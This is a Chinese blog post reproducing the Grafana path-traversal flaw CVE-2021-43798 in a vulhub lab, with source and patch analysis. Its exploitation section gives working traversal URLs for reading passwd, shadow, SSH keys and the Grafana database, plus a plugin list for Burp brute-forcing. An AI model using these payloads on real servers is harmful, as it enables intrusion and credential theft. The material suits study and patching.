【漏洞复现】Grafana任意文件读取(CVE | 您所在的位置:网站首页 › SIGKDD翻译 › 【漏洞复现】Grafana任意文件读取(CVE |
docker环境搭建
#进入环境
cd vulhub/grafana/CVE-2021-43798
直接访问虚拟机 IP地址:3000 目录遍历原理目录遍历原理:攻击者可以通过将包含特殊目录遍历字符序列(…/)的特制HTTP请求发送到受影响的设备来利用此漏洞。通常是由于代码没有判断拼接路径的真实路径是否合法。 目录遍历影响:成功利用该漏洞的攻击者可以在目标设备上查看文件系统上的的任意文件。严重的会导致服务器中的敏感重要数据被窃取,例如数据库、WEB配置文件等。 源码分析源码链接: 提取码: 8bf4 Grafana是利用go语言编写的可视化应用程序平台。 漏洞影响版本:Grafana 8.0.0-beta1 - 8.3.0。 源码分析:主要问题出现在pkg/api/plugins.go文件的getPluginAssets函数。先查找插件是否存在,如果插件不存在,则返回"Plugin not found",如果存在这个插件名,则会匹配 /public/plugins/:pluginId/*中的*,这个地方没有做任何过滤。最后打开pluginFilePath并输出相关内容,就可以造成任意文件读取。 payload:/public/plugins/插件名/想要访问文件的相对路径 。 原理/成因:没有对文件名进行限制,攻击者可以利用../的方式穿越目录,读取到服务器上的任意文件。 总结:只要是安装了任何一个插件就可以出现任意文件读取,因为是plugins的问题。 补丁分析原漏洞代码:requestedFile := filepath.Clean(web.Params(c.Req)["*"])。该代码使用Clean函数对请求进行../的清理,但是Clean函数并不能做到全部清理,如下范例: 代码: package main import ( "fmt""path/filepath" ) // Calling main func main() { // Calling the Clean() function fmt.Println(filepath.Clean("/GFG/./../Geeks")) fmt.Println(filepath.Clean("GFG/../Geeks")) fmt.Println(filepath.Clean("..GFG/./../Geeks")) fmt.Println(filepath.Clean("gfg/../../../Geek/GFG")) }输出: /Geeks Geeks Geeks ../../Geek/GFG在后来使用open函数时就可以成功读取文件内容了。 官网的补丁如下: requestedFile := filepath.Clean(filepath.Join("/", web.Params(c.Req)["*"]))rel, err := filepath.Rel("/", requestedFile)if err != nil {// this should not never failc.JsonApiErr(500, "Relative path found", err)return}可以看到将clean和join合并利用后,增加了filepath.Rel函数 func Rel(basepath, targpath string) (string, error)filepath.Rel()函数会以basepath作为基准,返回targpath相对于basepath的相对路径,不过前提是basepath和targpath必须都是相对路径,若其中有一个是绝对路径则会返回错误。 如果无法相对于基本路径创建targpath,或者如果需要知道当前工作目录以进行计算,则会返回错误。 故使用Rel函数修复了目录穿越的问题。 修复方式升级版本 漏洞利用 攻击路径POC /public/plugins/其中是任何已安装插件的插件ID。读取etc/passwd: /public/plugins/gettingstarted/../../../../../../../../../../../../../../../etc/passwd 读取配置文件: /public/plugins/gettingstarted/../../../../../../../../../../../../../../../etc/grafana/grafana.ini 读取数据库: /public/plugins/gettingstarted/../../../../../../../../../../../../../../../var/lib/grafana/grafana.db 读取其它文件: /conf/defaults.ini /etc/grafana/grafana.ini /etc/passwd /etc/shadow /home/grafana/.bash_history /home/grafana/.ssh/id_rsa /root/.bash_history /root/.ssh/id_rsa /usr/local/etc/grafana/grafana.ini /var/lib/grafana/grafana.db /proc/net/fib_trie /proc/net/tcp /proc/self/cmdline默认安装插件列表: alertlist annolist grafana-azure-monitor-datasource barchart bargauge cloudwatch dashlist elasticsearch gauge geomap gettingstarted stackdriver graph graphite heatmap histogram influxdb jaeger logs loki mssql mysql news nodeGraph opentsdb piechart pluginlist postgres prometheus stat state-timeline status-history table table-old tempo testdata text timeseries welcome zipkin burp爆破由于插件过多,利用burp爆破 将插件放入文件里做为一个字典 导入burp进行爆破 |
CopyRight 2018-2019 实验室设备网 版权所有 |